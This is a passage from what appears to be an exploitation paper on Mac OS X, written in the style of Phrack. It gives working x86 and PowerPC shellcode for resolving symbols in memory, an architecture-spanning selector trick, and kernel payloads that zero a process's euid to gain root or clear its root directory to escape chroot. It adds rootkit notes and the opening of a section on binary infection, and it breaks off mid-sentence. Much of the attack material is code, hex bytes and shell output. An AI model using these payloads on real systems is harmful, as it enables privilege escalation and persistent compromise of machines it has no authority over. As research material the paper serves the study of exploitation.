|‑‑‑(symtab data starts here.)‑‑‑|

|<nlist struct> |

|<nlist struct> |

|<nlist struct> |

| ... |

|‑‑‑(strtab data starts here.)‑‑‑|

|"_mh_execute_header\0" |

|"dyld_start\0" |

|"main" |

| ... |

:________________________________;

himem : 0xffffffff

By locating the start of the string table and the start of the symbol table relative to the address of the LINKEDIT section it is then possible to loop through each of the nlist structures in the symbol table and access their appropriate string in the string table. I will now run through this technique in fine detail.

To resolve symbols we will start by locating the mach_header in memory. This will be the start of our mapped in mach‑o image. One way to find this is to run the "nm" command on our binary and locate the address of the __mh_execute_header symbol.

Currently on Mac OS X, the executable is simply mapped in at the start of the first page. 0x1000.

We can verify this as follows:

‑[nemo@fry:~]$ nm /bin/sh | grep mh_

00001000 A __mh_execute_header

(gdb) x/x 0x1000

0x1000: 0xfeedface

As you can see the magic number (0xfeedface) is at 0x1000. This is our Mach‑O header. The struct for this is shown below:

struct mach_header

{

uint32_t magic;

cpu_type_t cputype;

cpu_subtype_t cpusubtype;

uint32_t filetype;

uint32_t ncmds;

uint32_t sizeofcmds;

uint32_t flags;

};

In my shellcode I assume that the file we are parsing always has a LINKEDIT section and a symbol table load command (LC_SYMTAB). This means that I do not bother parsing the mach_header struct. However if you do not wish to make this assumption, it is easy enough to loop ncmds number of times while parsing the load commands.

Directly after the mach_header struct in memory are a bunch of load_commands. Each of these commands begins with a "cmd" id field, and the size of the command.

Therefore, we start our code by setting ecx to the address of the first load command, directly after the mach_header struct in memory. This positions us at 0x101c. We then null out some of the registers to use later in the code.

;# null out some stuff (ebx,edx,eax)

xor ebx,ebx

mul ebx

;# position ecx past the mach_header.

xorecx,ecx

mov word cx,0x101c

For symbol resolution, we are only interested in LC_SEGMENT commands and the LC_SYMTAB. In particular we are looking for the LINKEDIT LC_SEGMENT struct. This is explained in more detail later.

The #define's for these are in /usr/include/mach‑o/loader.h as follows:

#define LC_SEGMENT 0x1

/* segment of this file to be mapped */

#define LC_SYMTAB 0x2

/* link‑edit stab symbol table info */

The LC_SYMTAB command uses the following struct:

struct symtab_command

{

uint_32 cmd;

uint_32 cmdsize;

uint_32 symoff;

uint_32 nsyms;

uint_32 stroff;

uint_32 strsize;

};

The symoff field holds the offset from the start of the file to the symbol table. The stroff field holds the offset to the string table. Both the symbol table and string table are contained in the LINKEDIT section.

By subtracting the symoff from the stroff we get the offset into the LINKEDIT section in which to read our strings. The nsyms field can be used as a loop count when enumerating the symtab. For the sake of this sample code, however,i have assumed that the symbol exists and ignored the nsyms field entirely.

We find the LC_SYMTAB command simply by looping through and checking the "cmd" field for 0x2.

The LINKEDIT section is slightly harder to find; we need to look for a load command with the cmd type 0x1 (segment_command), then check for the name "__LINKEDIT" in the segname field of the struct. The segment_command struct is shown below:

struct segment_command

{

uint32_t cmd;

uint32_t cmdsize;

char segname[16];

uint32_t vmaddr;

uint32_t vmsize;

uint32_t fileoff;

uint32_t filesize;

vm_prot_t maxprot;

vm_prot_t initprot;

uint32_t nsects;

uint32_t flags;

};

I will now run through an explanation of the assembly code used to accomplish this technique.

I have used a trivial state machine to loop through each load_command until both the symbol table and LINKEDIT virtual addresses have been found.

First we check which type of load_command each is and then we jump to the appropriate handler, if it is one of the types we need.

next_header:

cmp byte [ecx],0x2 ;# test for LC_SYMTAB (0x2)

je found_lcsymtab

cmp byte [ecx],0x1 ;# test for LC_SEGMENT (0x1)

je found_lcsegment

The next two instructions add the length field of the load_command to our pointer. This positions us over the cmd field of the next load_command in memory. We jump back up

to the next_header symbol and compare again.

next:

add ecx,[ecx + 0x4] ;# ecx += length

jmp next_header

The found_lcsymtab handler is called when we have a cmd == 0x2. We make the assumption that there's only one LC_SYMTAB. We can use the fact that if we're here, eax hasn't been set yet and is 0. By comparing this with edx we can see if the LINKEDIT segment has been found. After the cmp, we update eax with the address of the LC_SYMTAB. If both the LINKEDIT and LC_SYMTAB sections have been found, we jmp to the "found_both" symbol, otherwise we process the next header.

found_lcsymtab:

cmp eax,edx ;# use the fact that eax is 0 to test edx. mov eax,ecx ;# update eax with current pointer.

jne found_both ;# we have found LINKEDIT and LC_SYMTAB jmp next ;# keep looking for LINKEDIT

The found_lcsegment handler is very similar to the found_lcsymtab code. However, since there are many LC_SEGMENT commands in most files we need to be sure that we've found the __LINKEDIT section.

To do this we add 8 to the struct pointer to get to the segname[] string. We then check 2 characters in, skipping

the "__" for the 4 bytes "LINK". 0x4b4e494c accounting for endian issues. Again, we use the fact that there should

only be one LINKEDIT section. This means that if we are

past the check for "LINK" edx is 0. We use this to test

eax, to see if the LC_SYMTAB command has been found.

Again if we are done we jmp to found_both, if not back

up to the "next_header" symbol.

found_lcsegment:

lea esi,[ecx + 0x8] ;# get pointer to name

;# test for "LINK"

cmp long [esi + 0x2],0x4b4e494c

jne next ;# it's not LINKEDIT, NEXT!

cmp edx,eax ;# use zero'ed edx to test eax

mov edx,ecx ;# set edx to current address

jne found_both ;# we're done!

jmp next ;# still need to find

;# LC_SYMTAB, continue

;# EDX = LINKEDIT struct

;# EAX = LC_SYMTAB struct

Now that we have our pointers to LINKEDIT and LC_SYMTAB, we can subtract symtab_command.symoff from symtab_command.stroff to obtain the offset of the strings table from the start of LINKEDIT. By adding this offset to LINKEDIT's virtual address, we have now calculated the virtual address of the string table in memory.

found_both:

mov edi,[eax + 0x10] ;# EDI = stroff sub edi,[eax + 0x8] ;# EDI ‑= symoff mov esi,[edx + 0x18] ;# esi = VA of linkedit add edi,esi ;# add virtual address of LINKEDIT to offset

The LINKEDIT section contains a list of "struct nlist" structures. Each one corresponds to a symbol. The first union contains an offset into the string table (which we have the VA for). In order to find the symbol we want we simply cycle through the array and offset our string table pointer to test the string.

struct nlist

{

union {

#ifndef __LP64__

char *n_name;

#endif

int32_t n_strx;

} n_un;

uint8_t n_type;

uint8_t n_sect;

int16_t n_desc;

uint32_t n_value;

};

]

Now that we are able to walk through our nlist structs we are good to go. However it wouldn't make sense to store the full symbol name in our shellcode as this would make the code larger than it already is. ;/

I have chosen to steal^H^H^H^Huse skape's "compute_hash" function from "Understanding Windows Shellcode" [5]. He explains how the code works in his paper.

The following code shows a simple loop. First we jump down to the "hashes" symbol, and call back up to get a pointer to our list of hashes. We read the first hash in, and then loop through each of the nlist structures, hashing the symbol found and comparing it against our precomputed hash.

If the hash is unsuccessful we jump back up to "check_next_hash", however if it's successful we continue down to the "done" symbol.

;# esi == constant pointer to nlist

;# edi == strtab base

lookup_symbol:

jmp hashes

lookup_symbol_up:

pop ecx

mov ecx,[ecx] ;# ecx = first hash check_next_hash:

push esi ;# save nlist pointer push edi ;# save VA of strtable mov esi,[esi] ;# *esi = offset from strtab to string add esi,edi ;# add VA of strtab compute_hash:

xor edi, edi

xor eax, eax

cld

compute_hash_again:

lodsb

test al, al ;# test if on the last byte. jz compute_hash_finished

ror edi, 0xd

add edi, eax

jmp compute_hash_again

compute_hash_finished:

cmp edi,ecx

pop edi

pop esi

je done

lea esi,[esi + 0xc] ;# Add sizeof(struct nlist) jmp check_next_hash

done:

Each hash we wish to resolve can be appended after the hashes: symbol.

hash in edi

hashes:

call lookup_symbol_up

dd0x8bd2d84d

Now that we have the address of our symbol we're all done and can call our function, or modify it as we need.

In order to calculate the hash for our required symbol, I have cut and paste some of skapes code into a little c progam as follows:

#include <stdio.h>

#include <stdlib.h>

char chsc[] =

"\x89\xe5\x51\x60\x8b\x75\x04\x31" "\xff\x31\xc0\xfc\xac\x84\xc0\x74" "\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4" "\x89\x7d\xfc\x61\x58\x89\xec\xc3";

int main(int ac, char **av)

{

long (*hashstr)() = (long (*)())chsc;

if(ac != 2) {

fprintf(stderr,"[!] usage: %s <string to hash>\n",*av); exit(1);

}

printf("[+] Hash: 0x%x\n",hashstr(av[1]));

return 0;

}

We can run this as shown below to generate our hash:

‑[nemo@fry:~/code/kernelsc]$ ./comphash _do_payload

[+] Hash: 0x8bd2d84d

If the symbol we have resolved is a function that we wish to call there is a little more we must do before this is possible.

Mac OS X's linker, by default, uses lazy binding for external symbols. This means that if our intended function calls another function in an external library, which hasn't been called elsewhere in the program already, the dynamic linker will try to resolve the address as you call it.

For example, a call to execve() with lazy binding will be replaced with a call to dyld_stub_execve() as shown below:

0x1f54 <do_payload+78>: call 0x301b <dyld_stub_execve>

At runtime this function contains one instruction:

call 0x8fe12f70 <__dyld_fast_stub_binding_helper_interface>

This invokes the dyld which resolves the symbol and replaces this instruction with a jmp to the real code:

jmp 0x9003b7d0 <execve>

The only problem which this causes is that this function requires the stack pointer to be correctly aligned, otherwise our code will crash.

To do this we simply subtract 0xc from our stack pointer before calling our function.

Note:

This will not be necessary if the program you are exploiting has been compiled with the ‑bind_at_load

flag.

Here is the code I have used to make the call.

done:

mov eax,[esi + 0x8] ;# eax == value

xchg esp,edx ;# annoyingly large sub dl,0xc ;# way to align the stack pointer xchg esp,edx ;# without null bytes. call eax

xchg esp,edx ;# annoyingly large add dl,0xc ;# way to fix up the stack pointer xchg esp,edx ;# without null bytes. ret

I have written a small sample c program to demonstrate this code in action.

The following code has no call to do_payload(). The shellcode will resolve the address of this function and call it.

#include <stdio.h>

#include <stdlib.h>

char symresolve[] = "\x31\xdb\xf7\xe3\x31\xc9\x66\xb9\x1c\x10\x80\x39\x02\x74\x0a\x80" "\x39\x01\x74\x0d\x03\x49\x04\xeb\xf1\x39\xd0\x89\xc8\x75\x16\xeb" "\xf3\x8d\x71\x08\x81\x7e\x02\x4c\x49\x4e\x4b\x75\xe7\x39\xc2\x89" "\xca\x75\x02\xeb\xdf\x8b\x78\x10\x2b\x78\x08\x8b\x72\x18\x01\xf7" "\xeb\x39\x59\x8b\x09\x56\x57\x8b\x36\x01\xfe\x31\xff\x31\xc0\xfc" "\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x39\xcf\x5f\x5e" "\x74\x05\x8d\x76\x0c\xeb\xde\x8b\x46\x08\x87\xe2\x80\xea\x0c\x87" "\xe2\xff\xd0\x87\xe2\x80\xc2\x0c\x87\xe2\xc3\xe8\xc2\xff\xff\xff" "\x4d\xd8\xd2\x8b"; // HASH

void do_payload()

{

char *args[] = {"/usr/bin/id",NULL};

char *env[] = {"TERM=xterm",NULL}; printf("[+] Executing id.\n"); execve(*args,args,env);

}

int main(int ac, char **av)

{

void (*fp)() = (void (*)())symresolve;

fp();

return 0;

}

As you can see below this code works as you'd expect.

‑[nemo@fry:~]$ ./testsymbols

[+] Executing id.

uid=501(nemo) gid=501(nemo) groups=501(nemo)

The full assembly listing for the method shown in this section is shown in the Appendix for this paper.

I originally worked on this method for resolving kernel symbols.

Unfortunately, the kernel jettisons (free()'s) the LINKEDIT section after it boots. Before doing this, it writes out the mach‑o file /mach.sym containing the symbol information for the kernel.

If you set the boot flag "keepsyms" the LINKEDIT section will not be free()'ed and the symbols will remain in kernel memory.

In this case we can use the code shown in this section, and simply scan memory starting from the address 0x1000 until we find 0xfeedface. Here is some assembly code to do this:

SECTION .text

_main:

xor eax,eax

inc eax

shl eax,0xc ;# eax = 0x1000

mov ebx,0xfeedface ;# ebx = 0xfeedface

up:

inc eax

inc eax

inc eax

inc eax ;# eax += 4

cmp ebx,[eax] ;# if(*eax != ebx) { jnz up ;# goto up }

ret

After this is done we can resolve kernel symbols as needed.

‑‑[ 4 ‑ Architecture Spanning Shellcode

Since the move from PowerPC to Intel architecture it has become common to find both PowerPC and Intel Macs running Mac OS X in the wild. On top of this, Mac OS X 10.4 ships with virtualization technology from Transitive called Rosetta which allows an Intel Mac toexecute a PowerPC binary. This means that even after you've finger‑printed the architecture of a machine as Intel, there's a chance a network facing daemon might be running PowerPC code. This poses a challenge when writing remote exploits as it is harder incorrectly fingerprinting the architecture of the machine will result in failure.

In order to remedy this a technique can be used to create shellcode which executes on both Intel and PowerPC architecture.

This technique has been documented in the Phrack article of the same name as this section [16].

I provide a brief explanation here as this technique is used throughout the remainder of the paper.

The basic premise of this technique is to find a PowerPC instruction which, when executed, will simply step forward one instruction. It must do this without performing any memory access, only changing the state of the registers. When this instruction is interpreted as Intel opcodes however, a jump must be performed. This jump must be over the PowerPC portion of the code and into the Intel instructions. In this way the architecture type can be determined.

A suitable PowerPC instruction exists. This is the "rlwnm" instruction.

The following is the definition of this instruction, taken from the PowerPC manual:

(rlwnm) Rotate Left Word then AND with Mask (x'5c00 0000')

rlwnm rA,rS,rB,MB,ME(Rc = 0)

rlwnm. rA,rS,rB,MB,ME(Rc = 1)

,_______________________________________

|10101 | S | A | B | MB | ME |Rc|

''''''''''''''''''''''''''''''''''''''''

0 5 6 10 11 15 16 20 21 25 26 30 31

This is the rotate left instruction on PowerPC. Basically a mask, (defined by the bits MB to ME) is applied and the register rS is rotated rB bits. The result is stored in rA. No memory access is made by this instruction regardless of the arguments given.

By using the following parameters for this instruction we can end up with a valid and useful opcode.

rA = 16

rS = 28

rB = 29

MB = XX

ME = XX

rlwnm r16,r28,r29,XX,XX

This leaves us with the opcode:

"\x5f\x90\xeb\xxx"

When this is broken down as Intel code it becomes the following instructions:

nasm > db 0x5f,0x90,0xeb,0xXX

00000000 5F pop edi // move edi to the stack

00000001 90 nop // do nothing.

00000002 EBXX jmp short 0xXX // jump to our payload.

Here is a small example of how this can be useful.

char trap[] =

"\x5f\x90\xeb\x06"// magic arch selector

"\x7f\xe0\x00\x08"// trap ppc instruction

"\xcc\xcc\xcc\xcc";// intel: int3 int3 int3 int3

This shellcode when executed on PowerPC architecture will execute the "trap" instruction directly below our selector code. However when this is interpreted as Intel architecture instructions the "eb 06" causes a short jump to the int3 instructions. The reason 06 rather than 04 is used for our jmp short value here is that eip is pointing to the start of the jmp instruction itself (eb) during execution. Therefore, the jmp instruction needs to compensate by adding two bytes to the lenth of the PowerPC assembly.

To verify that this multi‑arch technique works, here is the output of gdb when attached to this process on Intel architecture:

Program received signal SIGTRAP, Trace/breakpoint trap. 0x0000201b in trap ()

(gdb) x/i $pc

0x201b <trap+11>: int3

Here is the same output from a PowerPC version of this binary:

Program received signal SIGTRAP, Trace/breakpoint trap. 0x00002018 in trap ()

(gdb) x/i $pc

0x2018 <trap+4>: trap

‑‑[ 5 ‑ Writing Kernel level shellcode

In this section we will look at some techniques for writing shellcode for use when exploiting kernel level vulnerabilities.

A couple of things to note before we begin. Mac OS X does not share an address space for kernel/user space. Both the kernel and userspace have a 4gb address space each (0x0 ‑> 0xffffffff).

I did not bother with writing PowerPC code again for most of what I've done, if you really want PowerPC code some concepts here will quickly port others require a little thought ;).

‑‑[ 5.1 ‑ Local privilege escalation

The first type of kernel shellcode we will look at writing is for local vulnerabilities. The typical objective for local kernel shellcode is simply to escalate the privileges of our userspace process.

This topic was covered in noir's excellent paper on OpenBSD kernel exploitation in Phrack 60. [6]

A lot of the techniques from noir's paper apply directly to Mac OS X. noir shows that the sysctl() function can be used to retrieve the kinfo_proc struct for a particular process id. As you can see below one of the members of the kinfo_proc struct is a pointer to the proc struct.

struct kinfo_proc {

struct extern_proc kp_proc; /* proc structure */

struct eproc {

struct proc *e_paddr; /* address of proc */

struct session *e_sess; /* session pointer */

struct _pcred e_pcred; /* process credentials */

struct _ucred e_ucred; /* current credentials */

struct vmspace e_vm; /* address space */

pid_t e_ppid; /* parent process id */

pid_t e_pgid; /* process group id */

short e_jobc; /* job control counter */

dev_t e_tdev; /* controlling tty dev */

pid_t e_tpgid; /* tty process group id */

struct session *e_tsess; /* tty session pointer */

#define WMESGLEN 7

char e_wmesg[WMESGLEN+1]; /* wchan message */

segsz_t e_xsize; /* text size */

short e_xrssize; /* text rss */

short e_xccount; /* text references */

short e_xswrss;

int32_t e_flag;

#define EPROC_CTTY 0x01 /* controlling tty vnode active */

#define EPROC_SLEADER 0x02 /* session leader */

#define COMAPT_MAXLOGNAME 12

char e_login[COMAPT_MAXLOGNAME];/* short setlogin() name*/

int32_t e_spare[4];

} kp_eproc;

};

Ilja van Sprundel mentioned this technique in his talk at Blackhat [7]. Basically, we can use the leaked address "p.kp_eproc.ep_addr" to access the proc struct for our process in memory.

The following function will return the address of a pid's proc struct in the kernel.

long get_addr(pid_t pid) {

int i, sz = sizeof(struct kinfo_proc), mib[4]; struct kinfo_proc p;

mib[0] = CTL_KERN;

mib[1] = KERN_PROC;

mib[2] = KERN_PROC_PID;

mib[3] = pid;

i = sysctl(&mib, 4, &p, &sz, 0, 0);

if (i == ‑1) {

perror("sysctl()");

exit(0);

}

return(p.kp_eproc.e_paddr);

}

Now that we have the address of our proc struct, we simply have to change our uid and/or euid in their respective structures.

Here is a snippet from the proc struct:

struct proc {

LIST_ENTRY(proc) p_list; /* List of all processes. */

/* substructures: */

struct ucred *p_ucred; /* Process owner's identity. */

struct filedesc *p_fd; /* Ptr to open files structure. */

struct pstats *p_stats; /* Accounting/statistics (PROC ONLY). */

struct plimit *p_limit; /* Process limits. */

struct sigacts *p_sigacts;

/* Signal actions, state (PROC ONLY). */

...

}

As you can see, following the p_list there is a pointer to the ucred struct. This struct is shown below.

struct _ucred {

int32_t cr_ref; /* reference count */

uid_t cr_uid; /* effective user id */

short cr_ngroups; /* number of groups */

gid_t cr_groups[NGROUPS]; /* groups */

};

By changing the cr_uid field in this struct, we set the euid of our process.

The following assembly code will seek to this struct and null out the ucred cr_uid field. This leaves us with root privileges on an Intel platform.

SECTION .text

_main:

mov ebx, [0xdeadbeef] ;# ebx = proc address mov ecx, [ebx + 8] ;# ecx = ucred xor eax,eax

mov [ecx + 12], eax ;# zero out the euid ret

To use this code we need to replace the address 0xdeadbeef with the address of the proc struct which we looked up earlier.

Here is some code from Ilja van Sprundel's talk which does the same thing on a PowerPC platform.

int kshellcode[] = {

0x3ca0aabb, // lis r5, 0xaabb

0x60a5ccdd, // ori r5, r5, 0xccdd

0x80c5ffa8, // lwz r6, Â88(r5)

0x80e60048, // lwz r7, 72(r6)

0x39000000, // li r8, 0

0x9106004c, // stw r8, 76(r6)

0x91060050, // stw r8, 80(r6)

0x91060054, // stw r8, 84(r6)

0x91060058, // stw r8, 88(r6)

0x91070004 // stw r8, 4(r7)

}

We can combine the two shellcodes into one architecture spanning shellcode. This is a simple process and is documented in section 4 of this paper.

The full listing for our multi‑arch code is shown

in the Appendix.

On PowerPC processors XNU uses an optimization referred to

as the "user memory window". This means that the user address space and the kernel address space share some mappings.

This design is in place for copyin/copyout etc to use.

The user memory window typically starts at 0xe0000000 in both the kernel and user address space. This can be useful when trying to position shellcode for use in local privilege escalation vulnerabilities.

‑‑[ 5.2 ‑ Breaking chroot()

Before we look into how we can go about breaking out of processes after they have used the chroot() syscall, we

will a look at why, a lot of the time, we don't need to.

‑[root@fry:/chroot]# touch file_outside_chroot

‑[root@fry:/chroot]# ls ‑lsa file_outside_chroot

0 ‑rw‑r‑‑r‑‑ 1 root admin 0 Jan 29 12:17 file_outside_chroot

‑[root@fry:/chroot]# chroot demo /bin/sh

‑[root@fry:/]# ls ‑lsa file_outside_chroot

ls: file_outside_chroot: No such file or directory

‑[root@fry:/]# pwd

/

‑[root@fry:/]# ls ‑lsa ../file_outside_chroot

0 ‑rw‑r‑‑r‑‑ 1 root admin 0 Jan 29 20:17 ../file_outside_chroot

‑[root@fry:/]# ../../usr/sbin/chroot ../../ /bin/sh

‑[root@fry:/]# ls ‑lsa /chroot/file_outside_chroot

0 ‑rw‑r‑‑r‑‑ 1 root admin 0 Jan 29 12:17 /chroot/file_outside_chroot

As you can see, the /usr/sbin/chroot command which ships

with Mac OS X does not chdir() and therefore does not

really do very much at all.

The author suggests the following addition be made to the chroot man page on Mac OS X:

"Caution: Does not work."

On an unrelated note, this patch would also be suitable for the setreuid() man page.

I won't spend too much time on this since noir already covered it really well in his paper. [6]

Basically as noir mentions, all we need to do to break our process out of the chroot() is to set the p‑>p_fd‑>fd_rdir element in our proc struct to NULL.

We can get the address of our proc struct using sysctl as mentioned earlier.

noir already provides us with the instructions for this:

movedx,[ecx + 0x14] ;# edx = p‑>p_fd

mov[edx + 0xc],eax;# p‑>p_fd‑>fd_rdir = 0

‑‑[ 5.3 ‑ Advancements

Now that we are familiar with writing shellcode for use

in local exploits, where we already have local access to

the box, the rest of the kernel related code in this paper will focus on accomplishing it's task without any userspace access required.

In order to do this, we can utilize the per cpu/task/proc/ and thread structures in the kernel. The definitions for

each of these structures can be found in the osfmk/kern

and bsd/sys/ directories in various header files.

The first struct which we will look at is the "cpu_data" struct found in osfmk/i386/cpu_data.h.

I have included the definition for this struct below:

/*

* Per‑cpu data.

*

* Each processor has a per‑cpu data area which is dereferenced through the * using this, in‑lines provides single‑instruction access to frequently * used members ‑ such as get_cpu_number()/cpu_number(), and * get_active_thread()/ current_thread().

*

* Cpu data owned by another processor can be accessed using the * cpu_datap(cpu_number) macro which uses the cpu_data_ptr[] array of * per‑cpu pointers.

*/

typedef struct cpu_data

{

struct cpu_data *cpu_this; /* pointer to myself */

thread_t cpu_active_thread; void *cpu_int_state; /* interrupt state */

vm_offset_t cpu_active_stack; /* kernel stack base */

vm_offset_t cpu_kernel_stack; /* kernel stack top */

vm_offset_t cpu_int_stack_top;

int cpu_preemption_level; int cpu_simple_lock_count; int cpu_interrupt_level; int cpu_number; /* Logical CPU */

int cpu_phys_number; /* Physical CPU */

cpu_id_t cpu_id; /* Platform Expert */

int cpu_signals; /* IPI events */

int cpu_mcount_off; /* mcount recursion */

ast_t cpu_pending_ast;

int cpu_type;

int cpu_subtype;

int cpu_threadtype;

int cpu_running;

uint64_t rtclock_intr_deadline; rtclock_timer_t rtclock_timer; boolean_t cpu_is64bit; task_map_t cpu_task_map;

addr64_t cpu_task_cr3;

addr64_t cpu_active_cr3; addr64_t cpu_kernel_cr3; cpu_uber_t cpu_uber;

void *cpu_chud;

void *cpu_console_buf; struct cpu_core *cpu_core; /* cpu's parent core */

struct processor *cpu_processor;

struct cpu_pmap *cpu_pmap;

struct cpu_desc_table *cpu_desc_tablep; struct fake_descriptor *cpu_ldtp; cpu_desc_index_t cpu_desc_index;

int cpu_ldt;

#ifdef MACH_KDB

/* XXX Untested: */

int cpu_db_pass_thru; vm_offset_t cpu_db_stacks;

void *cpu_kdb_saved_state;

spl_t cpu_kdb_saved_ipl;

int cpu_kdb_is_slave;

int cpu_kdb_active;

#endif /* MACH_KDB */

boolean_t cpu_iflag;

boolean_t cpu_boot_complete;

int cpu_hibernate;

pmsd pms; /* Power Management Stepper control */

uint64_t rtcPop; /* when the etimer wants a timer pop */

vm_offset_t cpu_copywindow_bas;

uint64_t *cpu_copywindow_pdp;

vm_offset_t cpu_physwindow_base;

uint64_t *cpu_physwindow_ptep;

void *cpu_hi_iss;

boolean_t cpu_tlb_invalid;

uint64_t *cpu_pmHpet;

/* Address of the HPET for this processor */

uint32_t cpu_pmHpetVec;

/* Interrupt vector for HPET for this processor */

/* Statistics */

pmStats_t cpu_pmStats;

/* Power management data */

uint32_t cpu_hwIntCnt[256]; /* Interrupt counts */

uint64_t cpu_dr7; /* debug control register */

} cpu_data_t;

As you can see, this structure contains valuable information for our shellcode running in the kernel. We just need to figure out how to access it.

The following macro shows how we can access this structure.

/* Macro to generate inline bodies to retrieve per‑cpu data fields. */

#define offsetof(TYPE,MEMBER) ((size_t) &((TYPE *)0)‑>MEMBER)

#define CPU_DATA_GET(member,type)

type ret;

__asm__ volatile ("movl %%gs:%P1,%0" \

: "=r" (ret)

: "i" (offsetof(cpu_data_t,member))); \ return ret;

When our code is executing in kernel space the gs selector can be used to access our cpu_data struct. The first element of this struct contains a pointer to the struct itself, so we no longer need to use gs after this.

The first objective we will look at is the ability to find the init process (pid=1) via this struct. Since our code may not be running with an associated user space thread, we cannot count on the uthread struct being populated in our thread_t struct. An example of this might be when we exploit a network stack or kernel extension.

The first step we must make to find the init process struct

is to retrieve the pointer to our thread_t struct.

We can do this by simply retrieving the pointer at gs:0x04. The following instructions will achieve this:

_main:

xor ebx,ebx;# zero ebx

mov eax,[gs:0x04 + ebx] ;# thread_t.

After these instructions are executed, we have a pointer to our thread struct in eax. The thread struct is defined in osfmk/kern/thread.h. A portion of this struct is shown below:

struct thread {

...

queue_chain_t links; /* run/wait queue links */

run_queue_t runq; /* run queue thread is on SEE BELOW */

wait_queue_t wait_queue; /* wait queue we are currently on */

event64_t wait_event; /* wait queue event */

integer_t options;/* options set by thread itself */

...

/* Data used during setrun/dispatch */

timer_data_t system_timer; /* system mode timer */

processor_set_t processor_set;/* assigned processor set */

processor_t bound_processor; /* bound to a processor? */

processor_t last_processor; /* processor last dispatched on */

uint64_t last_switch; /* time of last context switch */

...

void *uthread;

#endif

};

This struct, again, contains many fields which are useful

for our shellcode. However, in this case we are trying to

find the proc struct. Because we might not necessarily

already have a uthread associated with us, as mentioned earlier, we must look elsewhere for a list of tasks to

locate init (launchd).

The next step in this process is to retrieve the "last_processor" element from our thread_t struct.

We do this using the following instructions:

mov bl,0xf4

mov ecx,[eax + ebx] ;# last_processor

The last_processor pointer points to a processor

struct as the name suggests ;) We can walk from the last_processor struct back to the default pset in

order to find the pset which contains init.

mov eax,[ecx] ;# default_pset + 0xc

We then retrieve the task head from this struct.

push word 0x458

pop bx

mov eax,[eax + ebx] ;# tasks head.

And retrieve the bsd_info element of the task.

This is a proc struct pointer.

push word 0x19c

pop bx

mov eax,[eax + ebx] ;# get bsd_info

The proc struct is defined in xnu/bsd/sys/proc_internal.h.

The first element of the proc struct is:

LIST_ENTRY(proc) p_list; /* List of all processes. */

We can walk this list o find a particular process that we want. For most of our code we will start with a pointer to the init process (launchd on Mac OS X). This process has a pid of 1.

To find this we simply walk the list checking the pid field

at offset 36. The code to do this is as follows:

next_proc:

mov eax,[eax+4] ;# prev mov ebx,[eax + 36] ;# pid dec ebx

test ebx,ebx ;# if pid was 1 jnz next_proc

done:

;# eax = struct proc *init;

Now that we have developed code which will retrieve a pointer to the proc struct for the init process, we can look at some of the things that we can accomplish using this pointer.

The first thing which we will look at is simply rewriting the privilege escalation code listed earlier. Our new version of this code will not require any help from userspace (sysctl etc).

I think the below code is fairly self explanatory.

%define PID 1337

find_pid:

mov eax,[eax + 4] ;# eax = next proc mov ebx,[eax + 36] ;# pid cmp bx,PID

jnz find_pid

mov ecx, [eax + 8] ;# ecx = ucred xor eax,eax

mov [ecx + 12], eax ;# zero out the euid

As you can see the cpu_data struct opens up many possibilities for our shellcode. Hopefully I will have time to go into some of these in a future paper.

‑‑[ 6 ‑ Misc Rootkit Techniques

In this section I will run over a few short pieces of information which might be relevant to someone who is developing a rootkit for Mac OS X. I didn't really have another place to put this stuff, so this will have to do.

The first thing to note is that an API exists [21] for executing userspace applications from kernelspace. This

is called the Kernel User Notification Daemon. This is implemented using a mach port which the kernel uses to communicate with a userspace daemon named kuncd.

The file xnu/osfmk/UserNotification/UNDRequest.defs

contains the Mach Interface Generator (MIG) interface definitions for the communication with this daemon.

The mach port is called: "com.apple.system.Kernel[UNC]Notifications" and is

registered by the daemon /usr/libexec/kuncd.

Here is an example of how to use this interface programmatically. The interface allows you to display

messages via the GUI to the user, and also run any application.

kern_return_t ret;

ret = KUNCExecute( "/Applications/TextEdit.app/Contents/MacOS/TextEdit", kOpenAppAsRoot,

kOpenApplicationPath

);

ret = KUNCExecute(

"Internet.prefPane",

kOpenAppAsConsoleUser,

kOpenPreferencePanel

);

There may be a situation where you wish code to be executed on all the processors on a system. This may be something like updating the IDT / MSR and not wanting a processor to miss out on it.

The xnu kernel provides a function for this. The comment and prototype explain this a lot better than I can. So here you go:

/*

* All‑CPU rendezvous:

* ‑ CPUs are signalled,

* ‑ all execute the setup function (if specified),

* ‑ rendezvous (i.e. all cpus reach a barrier),

* ‑ all execute the action function (if specified),

* ‑ rendezvous again,

* ‑ execute the teardown function (if specified), and then * ‑ resume.

*

* Note that the supplied external functions _must_ be reentrant and aware * that they are running in parallel and in an unknown lock context. */

void

mp_rendezvous(void (*setup_func)(void *),

void (*action_func)(void *),

void (*teardown_func)(void *), void *arg)

{

The code for the functions related to this are stored in xnu/osfmk/i386/mp.c.

‑‑[ 7 ‑ Universal Binary Infection

[SINCE YOU CHAT A BIT ABOUT MACH‑O HERE, MAYBE MOVE THIS SECTION TO SOMEWHERE EARLIER IN THE PAPER? YOU CAN EXPAND A LITTLE AND IT MIGHT MAKE THE LINKEDIT / LC_SYMTAB ETC SECTION MORE CLEAR AS YOU ALSO GO INTO THE MAGIC NUMER MUMBO‑JUMBO HERE AS WELL]

The Mach‑O object format is used on operating systems which have a kernel based on Mach. This is the format which is used by Mac OS X. Significant work has already been done regarding the infection of this format. The papers [12] and [13] show some of this. Mach‑O files can be identified by the first four bytes of the file which contain the magic number 0xfeedface.

Recently Mac OS X has moved from the PowerPC platform to Intel architecture. This move has caused a new binary format to be used for most of the applications on Mac OS X 10.4. The Universal Binary format is defined in the Mach‑O Runtime reference from Apple. [4].

The Universal Binary format is a fairly trivial archive format which allows for multiple Mach‑O files of varying architecture types to be stored in a single file. The loader on Mac OS X is able to interpret this file and distinguish which of the Mach‑O files inside the archive matches the architecture type of the current system. (We'll look at this a little more later.)

The structures used by Mac OS X to define and parse Universal binaries are contained in the file /usr/include/mach‑o/fat.h.

Universal binaries are recognizable, again, by the magic number in the first four bytes of the file. Universal binaries begin with the following header:

struct fat_header {

uint32_t magic; /* FAT_MAGIC */

uint32_t nfat_arch; /* number of structs that follow */

};

The magic number on a universal binary is as follows:

#define FAT_MAGIC 0xcafebabe

#define FAT_CIGAM 0xbebafeca /* NXSwapLong(FAT_MAGIC) */

Either FAT_MAGIC or FAT_CIGAM is used depending on the endian of the file/system.

The nfat_arch field of this structure contains the number of Mach‑O files of which the archive is comprised. On a side note if you set this high enough to wrap, just about every debugging tool on Mac OS X will crash, as demonstrated below:

